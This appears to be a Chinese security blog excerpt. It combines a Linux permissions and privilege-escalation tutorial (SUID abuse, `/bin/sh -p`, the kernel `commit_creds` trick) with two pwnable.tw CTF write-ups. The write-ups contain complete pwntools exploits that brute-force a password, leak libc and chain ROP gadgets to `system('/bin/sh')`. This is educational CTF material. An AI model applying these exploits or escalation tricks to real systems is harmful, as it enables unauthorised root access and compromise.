drwx------ 2 cameudis cameudis 4096 Nov 2 10:43 .ssh/
-rw-r--r-- 1 cameudis cameudis 4957 Oct 31 18:41 .bashrc
-rw-r--r-- 1 cameudis cameudis 619 Oct 31 10:11 memo.txt

我们以第一条为例:

文件类型 权限信息 连结数 拥有者 用户组 文件大小 修改日期 文件名
d rwxr-xr-x 4 cameudis cameudis 4096 Mar 24 2023 .cargo/

第一个字段文件类型包括以下这些(从这里也可以看到万物皆文件的思想):

字符 文件类型
- 普通文件
d 目录
| 符号链接
p named pipe
c 字符设备
b 块设备
s socket 文件

我们可以看到,每个文件都会有一个所属的用户、一个所属的用户组。相应地,一个文件的权限设置会有三档:对于所属用户的权限对于所属用户组中用户的权限对于其他用户的权限。在一些权限设置工具 chmod 中,这三者分别简称为 U G O,即 User、Group、Others。

ls -h 看到的信息中,我们看到的 rwxr--r-- 字符串,其实就类似一个 bit vector。前三个字符表示对于所属用户的权限,中间三个表示所属用户组中用户的权限,最后三个字符表示对于其他用户的权限。

比如,.cargo 目录归 cameudis 所有,那么 cameudis 作为拥有者,其权限是 rwx(Read、Write、eXecute);而另一个用户 Jern,若他不属于 cameudis 用户组,那么他的权限是 r--(Read only)。

你可能会好奇,为什么 Linux 下各种目录大小都显示为 4096:这是硬盘中用来存储目录 metadata 信息的大小,这些 metadata 有:
如果你需要计算目录大小,可以使用 du 指令,比如 du -sh /tmp

修改文件权限

一句废话就是:如果想要修改文件的权限,你必须拥有文件的权限。
在命令行中,我们最常使用的修改权限工具是 chmod

chmod 中,最简单的用法就是:chmod <+/-><r/w/x> <filename>,这样会给用户、组和其他人通通加上或减去某个权限,比如:chmod +x a.out 就能让所有人都获取执行该文件的权限。

在此基础上,还可以特别指定某一群体:chmod [ugoa...]<+/-><r/w/x> <filename>。比如 chmod u+x a.out 就可以只给拥有者执行该文件的权限。

不过,根据笔者观察,大家最常用的用法是直接使用数字指定。我们知道每个文件有三组权限,所以可以用三个 3 比特的值来分别表示一个文件的三组权限。在这个 3 比特的值中,约定最高位表示 r,中间一位表示 w,最后一位表示 x。所以,111 就对应 rwx010 就对应 -w-

然后,我们再将其写为 8 进制,111 就会变成 7(如果你硬要说是更大的进制也可以),这样我们就可以用一个阿拉伯数字表示一组权限。

再将其推广一下之后,就可以用三个数字表达三组权限,我们列出一些经常用到的权限作为例子:

权限编码 权限说明
755 rwxr-xr-x
600 rw——-
644 rw-r–r–
777 rwxrwxrwx

chmod 使用这种语法来让我们快速指定权限:chmod 755 ./a.out

冷知识:
在著名动漫《新世纪福音战士新剧场版》中,明日香操纵 EVA 二号机进入野兽模式时,使用的指令是 “Code 777”,这说明 EVA 二号机运行的是 Linux 操作系统⊂彡☆))∀`)
chmod 777

常见的文件权限
目录权限通常设置为755。其中7表示rwx,5表示rx。这里,x权限用于进入目录,r权限用于读取目录;换句话说,若去掉某个目录dir的x权限,则cd dir会报错;若去掉r保留x,则可以进入这个目录,但在目录中运行ls会出错;没有w权限,表示不能在目录中删除或新建文件。注意,删掉一个文件并不需要该文件的w权限,而只需要文件所在目录的w权限。一个文档文件的权限通常设置为422,即没有x权限。符号链接文件的权限为777,因为真正起作用的是链接所指向文件的权限。(来自银杏书

文件的权限被修改,对已被打开的文件会立即生效么?
考虑如下情况:在进程 A 打开某个文件时,该文件具有可写权限,因此进程 A 以可读可写权限打开了文件;然后,文件的权限被拥有者修改为只读,那么之后当进程 A 对文件进行写操作时,会成功还是失败呢?根据前一段的描述,进程 A 会一直拥有对文件的写权限,直到关闭该文件。若系统希望对文件的权限更新立即生效,则需要在更新权限的同时,遍历所有打开文件的 fd 并做相应的处理,例如直接关闭所有权限不匹配的 fd,这样进程 A 下次进行文件操作时就会出现错误。(来自银杏书

进程系统中的权限模型

每个进程都会有 UID 和 GID,且相关数据会继承给子进程(当然满足条件就可以修改自己的 UID 和 GID,只要符合一些要求,可以到对应系统调用的 man page 中查看具体要求):

1
2
3
4
5
6
7
$ cat getuid.c
int main() { printf("UID: %d\n", getuid()); }
$ gcc -w -o getuid ./getuid.c
$ id
uid=1000(cameudis) gid=1000(cameudis) groups=1000(cameudis),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
$ ./getuid
UID: 1000

一个进程并不是只有一个 UID(用户 ID)和一个 GID(用户组 ID),而是根据不同用途有多个。

在操作系统为进程准备的结构体中,一个进程包含如下几种 ID:

  • Effective(eUID、eGID):大多数权限检查都使用这两个 ID。
  • Real(UID、GID):真正的 ID,可能与 eUID、eGID 不同,用作信号检查等。
  • Saved:用于切换的 UID/GID,在临时降权的时候用到。

eUID 和 eGID 最为常用,进程是否能够打开文件等权限检查都使用 eUID 和 eGID,因此 id 指令默认显示的也是 eUID 和 eGID。(不过可以用 -r 参数指定显示 real UID/GID)。

SUID & SGID

之所以需要区分 effective ID 和 read ID,是因为在某些场景中,需要区分这两个 ID。我们设想这样一个场景(纯虚构,细节问题不要在意):

Jern 安装了一个 Web 服务器软件(假设服务器软件的所有者和用户组都是 Jern),想要让运维 Cameudis 也能够执行该软件,因此他就把软件文件的权限设置为 r-x
Cameudis 开心地启动!了 Web 服务器,但是访问网站时发现无法正常访问网页。

原来由 Cameudis 执行的 Web 服务器进程,其 eUID 和 eGID 都是 Cameudis 的,因此这个进程没办法访问 Jern 放在目录中的 html 网页文件!

为了解决场景中的这一问题,一个方法就是再给 Cameudis 目录中所有的文件的权限。但这种方法的缺陷在于,万一程序还需要访问未知位置的一些目录,我们可能不能一直及时地给 Cameudis 权限。
另一个方法就是将 Cameudis 加入 Jern 所在的用户组。这种方法挺好的,不过需要具体情况具体分析下加入之后有没有潜在危害。

此外,还有一种 Linux 提供的方法,这种机制允许用户在文件中加入 SUIDSGID 权限位(就和 RWX 一样),如下所示:

  • SUID (Set-UID):当前文件被执行时,以文件拥有者 UID 作为 eUID 而不是父进程的 eUID。
  • SGID (Set-GID):当前文件被执行时,以文件拥有组 GID 作为 eGID 而不是父进程的 eGID。

这里说当前文件被执行,显然默认了文件是可执行文件。不可执行文件被设置这两个位是可行的但并没有意义。

因此,Jern 可以给 Web 服务器的程序文件加上 SUID bit,这样 Cameudis 执行 Web 服务器时,服务器进程会以 Jern 的 eUID 运行,从而就能够访问所有 Jern 本人可以访问的文件。

一个具体的例子就是 sudo 程序,我们可以这样查看其权限信息:

1
2
3
4
which sudo       # which 让shell查找某个程序的具体位置
/usr/bin/sudo
$ ll /usr/bin/sudo
-rwsr-xr-x 1 root root 166056 Apr 4 2023 /usr/bin/sudo*

可以看到,sudo 的 U 权限是 rws,这里的 s 就表示 SUID。我们在执行 sudo 时,会以 root 用户的 eUID 执行,从而能够访问高权限的资源。

使用 chmod 给文件加 SUID 和 SGID 的方法:
chmod u+s <file>
chmod g+s <file>

Sticky bit

Sticky bit 主要用于目录,对于标记为 Sticky 的目录中的文件,只有文件的所有者与目录的所有者才能重命名或删除文件,其他行为则照常。

通常来说,我们用 Sticky bit 来保护一些共享的文件夹,这里的共享是指多个用户都会在这个文件夹中处理文件。比如,/tmp 文件夹就常常被置为 Sticky,来防止普通用户删除或者移动其他用户的文件:

1
2
$ ll /
drwxrwxrwt 74 root root 36864 Nov 6 14:09 tmp/

至于给非目录的普通文件置 Sticky bit,各类 Unix 系统的对待方式都不一样,比如 Linux 就是直接忽略置 Sticky 的文件。

使用 chmod 给文件加 Sticky 的方法:
chmod o+t <file>

特殊的存在 root

以上说的各种权限限制,都对 root 用户无效。作为 Linux 系统中的真神,root 用户和用户组都拥有特殊的 ID 0。通常为了使用 root 的力量,我们会借用 sudo 这个 SUID 程序。

root 用户可以:

  • 打开任何文件,包括 /proc 中一些高权限的文件如 kallsym
  • 执行任何程序
  • 切换到任何其他用户
  • 调试任何程序
  • 关机、重启
  • 加载设备驱动等内核模块
  • ……

简单来说,root 用户可以控制整个系统

由于 root 的力量过于强大,所以任何一个略有安全意识的人,在平时都不会以 root 用户的身份执行指令,除非必要。相关反例实在太多了,几乎每个默认 root 用户登录的人都会因此出现一些问题。(笑死)

既然 root 的力量如此强大,那么可想而知,如果黑客拿到了我们机器的 root 权限,那会是多么可怕的一场安全灾难。因此,接下来我们学习如何作为黑客拿到 root 权限。

权限提升(提权)

提权,一般就是指黑客将他们权限从普通用户提高到 root 的一类攻击,通常的提权流程是这样的:

  1. 在系统上初步站稳脚跟,比如通过有漏洞的程序拿到一个 shell(pwn!)
  2. 找到一个可以利用的高权限服务
  3. 利用那个高权限服务,借助它拿到权限

什么是可以利用的高权限服务呢?

  1. SUID 程序就是一种高权限的服务,如果它存在漏洞的话,我们就可以通过利用漏洞来达成提权,比如 sudo 就有过非常多的 CVE,可以攻击 sudo 的漏洞来拿到 root 权限。
  2. 有一些不必要有 SUID 的程序,如果能够以 root 权限运行的话,会带来令人意想不到的安全风险。
  3. 操作系统内核显然是最高权限运行的服务了,如果内核存在漏洞,同样可以帮助我们达成提权。这就是传说中的内核漏洞利用

前者比较容易理解,就是普通的用户态程序利用而已,因此本文中我们主要介绍后两者。

SUID 提权

如果你发现 mv 程序是 SUID 的,你可以做到哪些事情?
看起来我们只能移动一些文件,但实际上,每个常见 Linux 程序的功能都可能非常强大。比如就算是简单的 mv 指令,也可以做到彻底的提权。

mv 的提权方法,可以参考The Dark Side of mv Command. mv, short for MOVE has been one of the… | by Nikhil Jagtap | WorkIndia.in | Medium

更多 binary 的提权方法,可以见 GTFOBins

强烈推荐读者去 pwn.college 实地打几道题来试试看。

如果 /bin/sh 作为一个 SUID 程序运行,即 eUID 和 rUID 不同,那么它会主动降权限,将 eUID 设置成 rUID。这就是一种应对 SUID 提权的非常简单的缓解措施。
遇到这种情况,只要加上 -p 参数即可。

内核漏洞

我们知道,操作系统不过就是一个用户程序与资源的管理器而已,它同样也是一个由程序员写成的程序,操作系统也会有漏洞。

我们平常说的操作系统,通常包括了许多东西,比如桌面系统。不过,这里我们要关注的是一个操作系统真正重要的东西——内核kernel,台湾称为核心)。

内核是一个运行在更高级别的程序,我们刚刚提到的各种机制,包括文件系统、进程系统,这些系统的实现统统位于内核之中。比如我们刚刚提到了 eUID、Real UID,这些东西统统都是内核中为每个进程准备的结构体中的一个字段。

如果读者学过 OS,那么就会知道用户态程序和内核交互的最常见的方法就是通过系统调用。因此,如果系统调用涉及的某段代码中存在漏洞,我们就能从用户程序攻击内核。(这就是为什么内核 pwn 的 exp 都是一个 C 程序,自己编写软件来攻击内核显然是最方便的)

提权是攻击内核最常见的目的之一。如果我们控制了内核,比如劫持了控制流,我们就可以去调用内核中存在的函数,将当前进程的权限提高至 root。

具体来说,我们一般会控制内核执行 commit_creds(prepare_kernel_cred(0)),其中 prepare_kernel_cred(0) 会创建一个各个字段都是 0 的 cred 结构体,然后 commit_creds() 可以将当前进程的 cred 替换为参数。我们前面知道 root 拥有特殊的 id —— 0,因此调用完这两个函数后,就可以将进程权限切换为 root
此后进程就可以想干啥就干啥了,比如起一个 root shell。

当然,这里只是一个小科普,内核漏洞笔者还没有入门,希望读者里能有未来挖掘或利用内核漏洞的大能|∀`)


参考资料:pwn.college

本地打通了,远程……台湾太远了……爆破到一半就会不知道谁把我连接掐掉……

漏洞分析

本题主要有两个漏洞,一个是检查密码时,根据用户的输入的大小(strlen)作为 strncmp 的参数进行比较,然而这样会导致用户输入 NULL Byte 就通过检查,同时还允许了一字节一字节爆破得到正确的密码;甚至泄露密码后面的别的数据——在本题中就是程序基址。
另一个是一个没有检查大小的 strcpy。

漏洞利用

本题的流程就是先利用第一个漏洞来爆破得到栈上的密码以及 saved rbp,然后利用 strcpy 进行控制流劫持。由于 strcpy 限制 null byte 截断,所以我利用程序自己的 read wrapper 函数(CA0 处)来进行第二次写入,这次就可以写入 ROP chain。(这里调试得知 rdi 正好是栈上变量)
第一次写入 ROP chain,我泄露了 libc 的基址,让程序从 start 重头来过;第二次写入 ROP chain,我就直接执行 system("/bin/sh") 来拿到 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
def pwn():
# bruteforce password
password = b""
for i in range(0x10):
for ch in range(1, 0x100):
if ch == 0x0a:
continue
io.sendlineafter(b">> ", b"1")
io.sendafter(b"passowrd", password + bytes([ch]) + b'\0')
if b"Success" in io.recvline():
# print(ch)
password += bytes([ch])
io.sendlineafter(b">> ", b"1")
break
if len(password) != i + 1:
print("ERROR")
exit()
success("password: "+repr(password))
# pause()

# bruteforce saved rbp (progaddr)
progaddr = b""
for i in range(0x6):
for ch in range(1, 0x100):
if ch == 0x0a:
continue
io.sendafter(b">> ", b"1"*0x10)
io.sendafter(b"passowrd", password + b'1'*0x10 + progaddr + bytes([ch]) + b'\0')
if b"Success" in io.recvline():
# print(ch)
progaddr += bytes([ch])
io.sendafter(b">> ", b"1"*0x10)
break
if len(progaddr) != i + 1:
print("ERROR")
exit()
progaddr = unpack(progaddr+b'\0\0') - 0x1060
success("stackaddr: "+hex(progaddr))

my_read = 0xca0
io.sendlineafter(b">> ", b"1")
io.sendafter(b"passowrd", 0x10*b'\0'+0x30*b'a'+password+0x18*b'a' + pack(progaddr+my_read))
io.sendlineafter(b">> ", b"3")
io.sendafter(b"Copy :", b'a'*0x10)

# pause()

# ROP
start = 0xb70
pop_rdi = 0x10c3
payload = flat([
progaddr+pop_rdi,
progaddr+elf.got['puts'],
progaddr+elf.plt['puts'],
progaddr+start,
])

io.sendafter(b">> ", b"2"*0x10)
io.send(pack(progaddr)+b'a'*0x18+payload)

libcaddr = unpack(io.recvuntil(b"\n")[:-1]+b'\0\0') - libc.sym['puts']
success("libcaddr: "+hex(libcaddr))

# bruteforce password again
io.sendlineafter(b">> ", b"1")
password = b""
for i in range(0x10):
for ch in range(1, 0x100):
if ch == 0x0a:
continue
io.sendlineafter(b">> ", b"1")
io.sendafter(b"passowrd", password + bytes([ch]) + b'\0')
if b"Success" in io.recvline():
# print(ch)
password += bytes([ch])
io.sendlineafter(b">> ", b"1")
break
if len(password) != i + 1:
print("ERROR")
exit()
success("password: "+repr(password))
# pause()

io.sendlineafter(b">> ", b"1")
io.sendafter(b"passowrd", 0x10*b'\0'+0x30*b'a'+password+0x18*b'a' + pack(progaddr+my_read))
io.sendlineafter(b">> ", b"3")
io.sendafter(b"Copy :", b'a'*0x10)

# pause()

# ROP
io.sendafter(b">> ", b"2"*0x10)
io.send(pack(progaddr)+b'a'*0x18+pack(progaddr+pop_rdi)+pack(libcaddr+0x000000000018c177)+pack(libcaddr+libc.sym['system']))

io.interactive()

本题 neta 了星界边境,实现了一个简单的二维探索游戏。

1
2
3
4
5
6
7
[*] '/mnt/c/Projects/ctf_archive/[pwnable.tw]Starbound/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8047000)
FORTIFY: Enabled

漏洞分析

数组下标未检查导致的任意控制流劫持。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char nptr[256]; // [esp+10h] [ebp-104h] BYREF

init();
while ( 1 )
{
alarm(0x3Cu);
menu_func_ptr();
if ( !readn(nptr, 256u) )
break;
v3 = strtol(nptr, 0, 10);
if ( !v3 )
break;
((void (*)(void))func_ptrs[v3])(); // 数组index溢出!
}
do_bye();
return 0;
}

在 main 函数中,有一个对于函数指针数组的调用,index 数据来自于用户输入经 strtol 转化成的数字。我们可以用 cmd_set_name 函数修改 data 段的数据,再让程序 call 我们控制的地址,达成 arbitary call。

利用

ROP 方法

有了任意调用,程序又没有开 PIE,接下来就是看看程序本体有哪些东西可以给我们来调用。
我在本体中,并没有找到 win 相关的函数,也没有找到导入的 system 符号,因此似乎没有简单的 ret2text 方法来完成一击必杀。

那就来打个 ROP 吧,我们可以直接用 main 函数 buffer 来存放 ROP 链,只要找一个类似于 add esp, xxx; ret; 的 gadget 即可。

使用这种方法,我们可以先用 puts 泄露 libc 基址,然后就能 system("/bin/sh") 了。具体利用见完整 EXP。
查 libc 版本用的是 libc-database,俄罗斯那个(libc.blukat.me)查到的结果贼少,不知道为什么。

路径穿越方法(存在利用条件限制)

ROP 方法是我不小心从网上看到的,唉我不应该上网查的。
不过我自己也想出了一个非常绝妙的利用,不需要用到 ROP!

我们已有的任意调用,其参数是固定好的,第一个参数是一个我们可控的字符串指针,第二个参数是 0。顺着这个思路,我们可以先看看程序本体中有哪些函数,其第一个参数是 char* 类型的。

首先,此类函数肯定是 printf 最常见也最好利用,我们可以用这种方法将任意调用宽展成任意读写,但程序开启了 FORTIFY 保护,里面甚至只有 _printf_chk 函数没有 printf 函数。两者的区别在于,后者其实是前者的一个 wrapper。
前者的第一个参数是一个安全等级,1 表示开启,0 表示关闭。当开启时,格式化字符串攻击将会被大大削弱,比如不能直接使用 %n$d 了,如果要用到这玩意,必须前面要有 %1$d %2$d%(n-1)$d 这些。
因此,这条路走不通。

但我们就可以找到另外两个首个参数的—— mkdiropen。既然有 open,就可以想想是不是能 orw 把 flag 读出来。但是,程序的漏洞处,相邻的两次触发之间隔了许多个函数调用,这就不允许我们把 open 返回值暂时放在寄存器中,这里就很难进行下一步操作。

但是,我把整个 binary 都审了一边,发现了一个有趣的机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int cmd_multiplayer_enable()
{
__pid_t v0; // esi
socklen_t len; // [esp+2Ch] [ebp-80h] BYREF
struct sockaddr addr; // [esp+32h] [ebp-7Ah] BYREF

if ( fd != -1 )
close(fd);
addr.sa_family = 1;
fd = socket(1, 2, 0); // UDP
if ( fd >= 0 )
{
...
}
puts("[Error] Fail to enable");
return close(fd);
}

cmd_multiplayer_enable 中,有对于一个全局变量 fd 的赋值。而我们知道,进程打开的第一个文件往往是接在 stderr 的后面,也就是 fd == 3。
我们可以观察到,程序在使用 close 关闭 fd 之后,并没有清空 fd 的值,也就是这里依然是 3。实际调用这个函数,发现程序肯定可以走到关闭 fd 的代码。

我们查找 fd 的应用,可以找到这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int cmd_multiplayer_recvmap()
{
...

v5 = getpid();
puts("Ask your friends to share their coordinates!");
v0 = 1;
while ( 1 )
{
if ( read(fd, buf, 1u) <= 0 )
return puts("[Error] Transmission error :(");
if ( buf[0] == '\n' )
break;
buf[0] = rotate_shift_add_decrypt(buf[0], &v5);
if ( v0 )
{
__printf_chk(1, "[Info] Receiving (");
v0 = 0;
}
putchar(buf[0]);
}

...
}

这里程序将会尝试从 fd 中读取内容,每一个字节都使用 rotate_shift_add_decrypt 函数进行加密,然后打印出结果。

于是我们可以想到一条利用链:

  1. 调用 cmd_multiplayer_enable,让 fd 被置为 3;
  2. 调用 open 函数打开 flag;
  3. 调用 rotate_shift_add_decrypt,读取加密后的 flag 并输出;
  4. 本地尝试暴力破解!

但我们会遇到一个问题:虽然我们可以控制第一个参数这个字符串,但是其开头被限制了是一个数字,因为我们就是用这个数字当作数组下标来实现任意调用的。
为此,我想到了一种借用 mkdir 来加强 open 的方法:

  1. 调用 mkdir("-33\0") 在当前目录创建名为 -33 的文件夹;
  2. 调用 open("-33/../flag\0") 打开任意目录下的 flag。

在本地,这种方法是可行的。然而,远程环境中执行 binary 的路径是根目录,而进程并没有在根目录创建文件夹的权限,因此这种方法很遗憾地失效了 : (

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3
from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./pwn"
io = process([filename])
io = remote("chall.pwnable.tw", 10202)
elf = ELF(filename)

def debug():
g = gdb.attach(io, """
b *0x0804A65D
""")

def pwn():
# 0x08048e48 : add esp, 0x1c ; ret
add_esp_1c_ret = 0x08048e48

payload = flat([
elf.symbols['puts'], elf.symbols['_start'], elf.got['puts'],
])

io.sendlineafter(b">", b"6")
io.sendlineafter(b">", b"2")
io.sendlineafter(b"name", pack(add_esp_1c_ret))
io.sendafter(b">", b"-33\0dead"+payload)

mes = io.recvuntil(b"\xf7")[-4:]

libc_base = unpack(mes,32) - 0x5fca0
log.info("libc_base: " + hex(libc_base))
system_addr = libc_base + 0x3ada0
# system_addr = libc_base + 0x49670 # printf

payload = flat([
system_addr, elf.symbols['_start'], 0x080580D0+0x4,
])

io.sendlineafter(b">", b"6")
io.sendlineafter(b">", b"2")
io.sendlineafter(b"name", pack(add_esp_1c_ret)+b"/bin/sh\0")
io.sendafter(b">", b"-33\0dead"+payload)

io.interactive()

if __name__ == "__main__":
pwn()

反思和总结

函数数组和数组下标都是非常危险的东西——前者容易被劫持,后者容易超越边界。
本漏洞修补十分简单,只需要加上一个检查就可以了。

从这道题目的利用中,我们可以发现:任意调用与 gadget 结合或许可以轻松达成栈迁移,允许我们进行 ROP 攻击。